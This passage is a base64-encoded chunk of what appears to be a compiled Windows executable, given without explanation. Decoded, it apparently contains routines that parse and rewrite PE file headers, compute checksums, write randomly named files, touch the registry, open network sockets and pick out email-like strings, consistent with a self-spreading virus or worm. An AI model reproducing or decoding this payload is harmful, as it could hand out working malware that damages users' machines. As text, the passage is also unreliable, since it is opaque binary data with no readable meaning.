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 